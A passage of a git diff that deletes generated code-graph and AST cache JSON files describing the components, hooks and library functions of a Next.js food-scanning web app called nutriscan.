- "components_problemsection_problemsection",
- "components_storysection_story_data",
- "components_storysection_storysection",
- "components_storysection_storystep",
- "components_targetaudiencesection_personas",
- "components_ui_sheet_tsx",
- "components_valuessection_protocols",
- "id_page_listapageprops",
- "landing_donationsection_donationsection",
- "landing_howitworks_steps",
- "landing_trustbadges_stats",
- "landing_trustbadges_trustbadges",
- "resultados_page_convertfilterstorecord",
- "resultados_page_grade_colors",
- "resultados_page_resultadospage",
- "sobre_page_sobrepage",
- "ui_sheet_sheetcontent",
- "ui_sheet_sheetcontentprops",
- "ui_sheet_sheetdescription",
- "ui_sheet_sheetfooter",
- "ui_sheet_sheetheader",
- "ui_sheet_sheetoverlay",
- "ui_sheet_sheettitle",
- "ui_sheet_sheetvariants"
- ],
- "2": [
- "app_actions_criaritens",
- "app_actions_deletarproduto",
- "app_actions_togglecomprado",
- "app_actions_ts",
- "app_actions_verificarlista",
- "app_components_deletebutton_tsx",
- "app_components_listheader_tsx",
- "app_components_main_tsx",
- "app_components_pagination_tsx",
- "components_idinput_idinput",
- "components_listheader_listheader",
- "components_listheader_listheaderprops",
- "components_main_mainprops",
- "components_ui_alert_dialog_tsx",
- "components_ui_button_tsx",
- "components_ui_dialog_tsx",
- "components_ui_input_tsx",
- "components_ui_select_tsx",
- "id_page_listapage",
- "ui_alert_dialog_alertdialogaction",
- "ui_alert_dialog_alertdialogcancel",
- "ui_alert_dialog_alertdialogcontent",
- "ui_alert_dialog_alertdialogdescription",
- "ui_alert_dialog_alertdialogfooter",
- "ui_alert_dialog_alertdialogheader",
- "ui_alert_dialog_alertdialogoverlay",
- "ui_alert_dialog_alertdialogtitle",
- "ui_button_button",
- "ui_button_buttonprops",
- "ui_button_buttonvariants",
- "ui_dialog_dialogcontent",
- "ui_dialog_dialogdescription",
- "ui_dialog_dialogfooter",
- "ui_dialog_dialogheader",
- "ui_dialog_dialogoverlay",
- "ui_dialog_dialogtitle",
- "ui_input_input",
- "ui_select_selectcontent",
- "ui_select_selectitem",
- "ui_select_selectlabel",
- "ui_select_selectscrolldownbutton",
- "ui_select_selectscrollupbutton",
- "ui_select_selectseparator",
- "ui_select_selecttrigger"
- ],
- "3": [
- "app_components_filtersidebar_tsx",
- "components_filtersidebar_filtersidebar",
- "components_ui_accordion_tsx",
- "components_ui_radio_group_tsx",
- "components_ui_separator_tsx",
- "components_ui_slider_tsx",
- "hooks_usecacheonlymode_ts",
- "hooks_useproductfilters_loadfiltersfromstorage",
- "hooks_useproductfilters_parsefiltersfromurl",
- "hooks_useproductfilters_savefilterstostorage",
- "hooks_useproductfilters_ts",
- "hooks_useproductfilters_useproductfiltersoptions",
- "hooks_usestoragemonitor_ts",
- "hooks_usestoragemonitor_usestoragemonitorreturn",
- "lib_types_cachefile",
- "lib_types_cacheprogress",
- "lib_types_cachesearchresult",
- "lib_types_common_additives",
- "lib_types_common_allergens",
- "lib_types_filteroption",
- "lib_types_filtersidebarprops",
- "lib_types_filterstate",
- "lib_types_imageloadingstate",
- "lib_types_imageloadtask",
- "lib_types_novagroup",
- "lib_types_nutritiongrade",
- "lib_types_paginationconfig",
- "lib_types_paginationprops",
- "lib_types_paginationstate",
- "lib_types_popular_categories",
- "lib_types_popular_categories_with_icons",
- "lib_types_productfilters",
- "lib_types_searchcacheconfig",
- "lib_types_storagestats",
- "lib_types_ts",
- "lib_types_useoptimizedimageloadingoptions",
- "lib_utils_debounce",
- "resultados_page_resultadoscontent",
- "ui_accordion_accordioncontent",
- "ui_accordion_accordionitem",
- "ui_accordion_accordiontrigger",
- "ui_radio_group_radiogroup",
- "ui_separator_separator",
- "ui_slider_slider"
- ],
- "4": [
- "app_actions_listarprodutos",
- "app_components_cardlist_tsx",
- "app_components_filterbadge_tsx",
- "app_components_listaproductcard_tsx",
- "app_components_nutritionchart_tsx",
- "app_components_productcardskeleton_tsx",
- "components_card_cardprops",
- "components_cardlist_cardlist",
- "components_cardlist_cardlistprops",
- "components_cardlist_produto",
- "components_filterbadge_filterbadgeprops",
- "components_filterbadge_filterbadgesprops",
- "components_filterbadge_getfiltercolor",
- "components_filterbadge_getfilterlabel",
- "components_listaproductcard_listaproductcardprops",
- "components_nutritionchart_nutritiondata",
- "components_nutritionchart_nutritionsummary",
- "components_ui_badge_tsx",
- "components_ui_card_tsx",
- "ui_badge_badge",
- "ui_badge_badgeprops",
- "ui_badge_badgevariants",
- "ui_card_card",
- "ui_card_cardcontent",
- "ui_card_carddescription",
- "ui_card_cardfooter",
- "ui_card_cardheader",
- "ui_card_cardtitle",
- "ui_skeleton_skeleton"
- ],
- "5": [
- "hooks_usesearchcache_searchcachestate",
- "hooks_usesearchcache_ts",
- "hooks_usesearchcache_usesearchcachereturn",
- "lib_cachemanager_cacheconfig",
- "lib_cachemanager_cachedsearch",
- "lib_cachemanager_cachemanager_cleanupoldcaches",
- "lib_cachemanager_cachemanager_clearallcaches",
- "lib_cachemanager_cachemanager_generatecachekey",
- "lib_cachemanager_cachemanager_generatesearchid",
- "lib_cachemanager_cachemanager_getcacheindex",
- "lib_cachemanager_cachemanager_getcachestats",
- "lib_cachemanager_cachemanager_getobjectsize",
- "lib_cachemanager_cachemanager_getsearch",
- "lib_cachemanager_cachemanager_hasspacefordata",
- "lib_cachemanager_cachemanager_removesearch",
- "lib_cachemanager_cachemanager_savesearch",
- "lib_cachemanager_cachemanager_updatecacheindex",
- "lib_cachemanager_default_config",
- "lib_cachemanager_filterrecord",
- "lib_cachemanager_filtervalue",
- "lib_cachemanager_ts",
- "lib_cachemanager_usecachemanager"
- ],
- "6": [
- "app_api_search_route_ts",
- "lib_jsoncachemanager_jsoncachedata",
- "lib_jsoncachemanager_jsoncachemanager_clearcache",
- "lib_jsoncachemanager_jsoncachemanager_converttoapiproduct",
- "lib_jsoncachemanager_jsoncachemanager_converttocachedproduct",
- "lib_jsoncachemanager_jsoncachemanager_getinstance",
- "lib_jsoncachemanager_jsoncachemanager_getproductbycode",
- "lib_jsoncachemanager_jsoncachemanager_getstoragestats",
- "lib_jsoncachemanager_jsoncachemanager_isinitialized",
- "lib_jsoncachemanager_jsoncachemanager_loadcache",
- "lib_jsoncachemanager_jsoncachemanager_mergeproductdata",
- "lib_jsoncachemanager_jsoncachemanager_savecache",
- "lib_jsoncachemanager_jsoncachemanager_saveproduct",
- "lib_jsoncachemanager_jsoncachemanager_searchproducts",
- "lib_jsoncachemanager_ts",
- "lib_openfoodfactsapi_product",
- "lib_searchutils_calculaterelevancescore",
- "lib_searchutils_sortbyrelevance",
- "lib_searchutils_ts",
- "lib_types_cachedproduct",
- "search_route_get",
- "sync_route_post"
- ],
- "7": [
- "app_components_searchbar_tsx",
- "hooks_use_search_logic_searchtype",
- "hooks_use_search_logic_ts",
- "landing_searchbar_searchbar",
- "lib_openfoodfactsapi_calculatecompletenessscore",
- "lib_openfoodfactsapi_config",
- "lib_openfoodfactsapi_detectsearchtype",
- "lib_openfoodfactsapi_fetchallresults",
- "lib_openfoodfactsapi_getgradevalue",
- "lib_openfoodfactsapi_isvalidbarcode",
- "lib_openfoodfactsapi_makeapirequest",
- "lib_openfoodfactsapi_searchbybarcode",
- "lib_openfoodfactsapi_searchbyname",
- "lib_openfoodfactsapi_searchresult",
- "lib_openfoodfactsapi_sortproducts",
- "lib_openfoodfactsapi_ts",
- "postcss_config_mjs",
- "tailwind_config_ts"
- ],
- "8": [
- "app_components_errorboundary_tsx",
- "app_components_errortracking_tsx",
- "app_layout_inter",
- "app_layout_metadata",
- "app_layout_rootlayout",
- "app_layout_tsx",
- "app_providers_providersprops",
- "app_providers_themeprovider",
- "app_providers_tsx",
- "components_errorboundary_errorboundary",
- "components_errorboundary_errorboundary_componentdidcatch",
- "components_errorboundary_errorboundary_getderivedstatefromerror",
- "components_errorboundary_errorboundary_render",
- "components_errorboundary_props",
- "components_errorboundary_state",
- "lib_cachemanager_cachemanager_constructor",
- "lib_openfoodfactsapi_nutriscanerror"
- ],
- "9": [
- "app_components_landing_hero_tsx",
- "hooks_use_geolocation_setscannedcountry",
- "hooks_use_geolocation_ts",
- "landing_hero_hero",
- "lib_geolocation_clearcountrycache",
- "lib_geolocation_countryinfo",
- "lib_geolocation_detectusercountry",
- "lib_geolocation_getcachedcountry",
- "lib_geolocation_getcountrycodeforapi",
- "lib_geolocation_getcurrentcountry",
- "lib_geolocation_isbrazil",
- "lib_geolocation_iscachevalid",
- "lib_geolocation_savetocache",
- "lib_geolocation_ts"
- ],
- "10": [
- "app_components_sortdropdown_tsx",
- "components_sortdropdown_sort_icons",
- "components_sortdropdown_sorttoggle",
- "components_theme_toggle_tsx",
- "components_ui_dropdown_menu_tsx",
- "lib_types_sortoption",
- "ui_dropdown_menu_dropdownmenucontent",
- "ui_dropdown_menu_dropdownmenuitem",
- "ui_dropdown_menu_dropdownmenulabel",
- "ui_dropdown_menu_dropdownmenuseparator",
- "ui_dropdown_menu_dropdownmenusubcontent",
- "ui_dropdown_menu_dropdownmenusubtrigger"
- ],
- "11": [
- "docs_resedesign_extract_js",
- "resedesign_extract_decoded",
- "resedesign_extract_end",
- "resedesign_extract_fs",
- "resedesign_extract_html",
- "resedesign_extract_path",
- "resedesign_extract_raw",
- "resedesign_extract_start"
- ],
- "12": [
- "app_components_items_tsx",
- "components_items_items",
- "lib_prisma_prisma",
- "lib_prisma_ts"
- ],
- "13": [
- "lib_types_rybbit_d_ts",
- "types_rybbit_d_rybbit",
- "types_rybbit_d_rybbittrackevent",
- "types_rybbit_d_window"
- ],
- "14": [
- "app_robots_robots",
- "app_robots_ts"
- ],
- "15": [
- "next_env_d_ts"
- ],
- "16": [
- "next_config_mjs"
- ],
- "17": [
- "sw_js"
- ],
- "18": [
- "app_sitemap_ts"
- ],
- "19": [
- "app_components_pagetitle_tsx"
- ]
- },
- "cohesion": {
- "0": 0.06,
- "1": 0.05,
- "2": 0.09,
- "3": 0.06,
- "4": 0.11,
- "5": 0.17,
- "6": 0.16,
- "7": 0.15,
- "8": 0.13,
- "9": 0.24,
- "10": 0.23,
- "11": 0.25,
- "12": 0.5,
- "13": 0.5,
- "14": 1.0,
- "15": 1.0,
- "16": 1.0,
- "17": 1.0,
- "18": 1.0,
- "19": 1.0
- },
- "gods": [
- {
- "id": "lib_utils_cn",
- "label": "cn()",
- "degree": 51
- },
- {
- "id": "ui_button_button",
- "label": "Button",
- "degree": 13
- },
- {
- "id": "lib_openfoodfactsapi_product",
- "label": "Product",
- "degree": 8
- },
- {
- "id": "ui_badge_badge",
- "label": "Badge()",
- "degree": 7
- },
- {
- "id": "components_errorboundary_errorboundary",
- "label": "ErrorBoundary",
- "degree": 6
- },
- {
- "id": "landing_howitworks_howitworks",
- "label": "HowItWorks()",
- "degree": 6
- },
- {
- "id": "lib_geolocation_iscachevalid",
- "label": "isCacheValid()",
- "degree": 6
- },
- {
- "id": "lib_geolocation_detectusercountry",
- "label": "detectUserCountry()",
- "degree": 6
- },
- {
- "id": "app_actions_verificarlista",
- "label": "verificarLista()",
- "degree": 5
- },
- {
- "id": "landing_hero_hero",
- "label": "Hero()",
- "degree": 5
- }
- ],
- "surprises": [
- {
- "source": "SheetFooter()",
- "target": "cn()",
- "source_files": [
- "components/ui/sheet.tsx",
- "lib/utils.ts"
- ],
- "confidence": "EXTRACTED",
- "relation": "calls",
- "why": "connects across different repos/directories; bridges separate communities; peripheral node `SheetFooter()` unexpectedly reaches hub `cn()`"
- },
- {
- "source": "NovaBadge()",
- "target": "cn()",
- "source_files": [
- "app/components/NutriScoreBadge.tsx",
- "lib/utils.ts"
- ],
- "confidence": "EXTRACTED",
- "relation": "calls",
- "why": "connects across different repos/directories; peripheral node `NovaBadge()` unexpectedly reaches hub `cn()`"
- },
- {
- "source": "NutritionBar()",
- "target": "cn()",
- "source_files": [
- "app/components/NutritionBar.tsx",
- "lib/utils.ts"
- ],
- "confidence": "EXTRACTED",
- "relation": "calls",
- "why": "connects across different repos/directories; peripheral node `NutritionBar()` unexpectedly reaches hub `cn()`"
- },
- {
- "source": "NutritionGrid()",
- "target": "cn()",
- "source_files": [
- "app/components/NutritionBar.tsx",
- "lib/utils.ts"
- ],
- "confidence": "EXTRACTED",
- "relation": "calls",
- "why": "connects across different repos/directories; peripheral node `NutritionGrid()` unexpectedly reaches hub `cn()`"
- },
- {
- "source": "NutritionBarSkeleton()",
- "target": "cn()",
- "source_files": [
- "app/components/ProductSkeleton.tsx",
- "lib/utils.ts"
- ],
- "confidence": "EXTRACTED",
- "relation": "calls",
- "why": "connects across different repos/directories; peripheral node `NutritionBarSkeleton()` unexpectedly reaches hub `cn()`"
- }
- ],
- "tokens": {
- "input": 0,
- "output": 0
- }
-}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/008ef0b5fde5c50ee69a8363744f4bfbabd17ee625ae06e05d507f541dc0ea7f.json b/graphify-out/cache/ast/008ef0b5fde5c50ee69a8363744f4bfbabd17ee625ae06e05d507f541dc0ea7f.json
deleted file mode 100644
index 1160aaf..0000000
--- a/graphify-out/cache/ast/008ef0b5fde5c50ee69a8363744f4bfbabd17ee625ae06e05d507f541dc0ea7f.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_errortracking_tsx", "label": "ErrorTracking.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorTracking.tsx", "source_location": "L1"}, {"id": "components_errortracking_errortracking", "label": "ErrorTracking()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorTracking.tsx", "source_location": "L9"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_errortracking_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorTracking.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_errortracking_tsx", "target": "components_errortracking_errortracking", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorTracking.tsx", "source_location": "L9", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_errortracking_errortracking", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\ErrorTracking.tsx", "source_location": "L10"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/02ea83b4c70c2931ffa8c233831633908151c4f0c4e6836ac274783da77b5eed.json b/graphify-out/cache/ast/02ea83b4c70c2931ffa8c233831633908151c4f0c4e6836ac274783da77b5eed.json
deleted file mode 100644
index adc8a5a..0000000
--- a/graphify-out/cache/ast/02ea83b4c70c2931ffa8c233831633908151c4f0c4e6836ac274783da77b5eed.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_header_tsx", "label": "header.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L1"}, {"id": "components_header_nav_links", "label": "NAV_LINKS", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L10"}, {"id": "components_header_header", "label": "Header()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L16"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "link", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "next_themes", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "image", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "components_header_nav_links", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_header_tsx", "target": "components_header_header", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L16", "weight": 1.0}], "raw_calls": [{"caller_nid": "components_header_header", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L17"}, {"caller_nid": "components_header_header", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L18"}, {"caller_nid": "components_header_header", "callee": "useState", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L19"}, {"caller_nid": "components_header_header", "callee": "useTheme", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L20"}, {"caller_nid": "components_header_header", "callee": "useEffect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L22"}, {"caller_nid": "components_header_header", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L33"}, {"caller_nid": "components_header_header", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L65"}, {"caller_nid": "components_header_header", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L111"}, {"caller_nid": "components_header_header", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\header.tsx", "source_location": "L117"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/02f68ee8843083d53b53831118a16c94a83c0cd25e3109a2b3260697ce0bb52f.json b/graphify-out/cache/ast/02f68ee8843083d53b53831118a16c94a83c0cd25e3109a2b3260697ce0bb52f.json
deleted file mode 100644
index 0094a9a..0000000
--- a/graphify-out/cache/ast/02f68ee8843083d53b53831118a16c94a83c0cd25e3109a2b3260697ce0bb52f.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "label": "HowItWorks.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L1"}, {"id": "landing_howitworks_step", "label": "Step", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L7"}, {"id": "landing_howitworks_steps", "label": "steps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L14"}, {"id": "landing_howitworks_howitworks", "label": "HowItWorks()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L45"}, {"id": "landing_howitworks_stepcard", "label": "StepCard()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L129"}], "edges": [{"source": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "target": "lucide_react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "target": "d_documents_github_nutriscan_lib_utils_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "target": "lib_utils_cn", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "target": "landing_howitworks_step", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "target": "landing_howitworks_steps", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L14", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "target": "landing_howitworks_howitworks", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L45", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_components_landing_howitworks_tsx", "target": "landing_howitworks_stepcard", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L129", "weight": 1.0}], "raw_calls": [{"caller_nid": "landing_howitworks_howitworks", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L72"}, {"caller_nid": "landing_howitworks_howitworks", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L84"}, {"caller_nid": "landing_howitworks_howitworks", "callee": "map", "is_member_call": true, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L106"}, {"caller_nid": "landing_howitworks_stepcard", "callee": "cn", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\components\\landing\\HowItWorks.tsx", "source_location": "L133"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/050992d005034a6c15a4663830584d838b5d4ec4e829a9f50e77b875acb0261d.json b/graphify-out/cache/ast/050992d005034a6c15a4663830584d838b5d4ec4e829a9f50e77b875acb0261d.json
deleted file mode 100644
index 22bec16..0000000
--- a/graphify-out/cache/ast/050992d005034a6c15a4663830584d838b5d4ec4e829a9f50e77b875acb0261d.json
+++ /dev/null
@@ -1 +0,0 @@
-{"nodes": [{"id": "d_documents_github_nutriscan_app_lista_id_page_tsx", "label": "page.tsx", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L1"}, {"id": "id_page_listapageprops", "label": "ListaPageProps", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L10"}, {"id": "id_page_listapage", "label": "ListaPage()", "file_type": "code", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L16"}], "edges": [{"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "react", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L1", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "d_documents_github_nutriscan_app_components_main_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "components_main_main", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L2", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "d_documents_github_nutriscan_app_components_cardlist_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "components_cardlist_cardlist", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L3", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "d_documents_github_nutriscan_components_theme_toggle_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "components_theme_toggle_themetoggle", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L4", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "d_documents_github_nutriscan_app_components_listheader_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "components_listheader_listheader", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L5", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "d_documents_github_nutriscan_app_components_footer_tsx", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "components_footer_footer", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L6", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "d_documents_github_nutriscan_app_actions_ts", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "app_actions_verificarlista", "relation": "imports", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L7", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "navigation", "relation": "imports_from", "context": "import", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L8", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "id_page_listapageprops", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L10", "weight": 1.0}, {"source": "d_documents_github_nutriscan_app_lista_id_page_tsx", "target": "id_page_listapage", "relation": "contains", "confidence": "EXTRACTED", "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L16", "weight": 1.0}], "raw_calls": [{"caller_nid": "id_page_listapage", "callee": "verificarLista", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L18"}, {"caller_nid": "id_page_listapage", "callee": "redirect", "is_member_call": false, "source_file": "D:\\Documents\\Github\\nutriscan\\app\\lista\\[id]\\page.tsx", "source_location": "L21"}]}
\ No newline at end of file
diff --git a/graphify-out/cache/ast/05e5502b415b6e6d38647c14bc45f63508e09396d8a79ca57a2f5ad9faf027f6.json b/graphify-out/cache/ast/05e5502b415b6e6d38647c14bc45f63508e09396d8a79ca57a2f5ad9faf027f6.json
deleted file mode 100644
index 0aebe4b..0000000
--- a/graphify-out/cache/ast/05e5502b415b6e6d38647c14bc45f63508e09396d8a79ca57a2f5ad9faf027f6.json
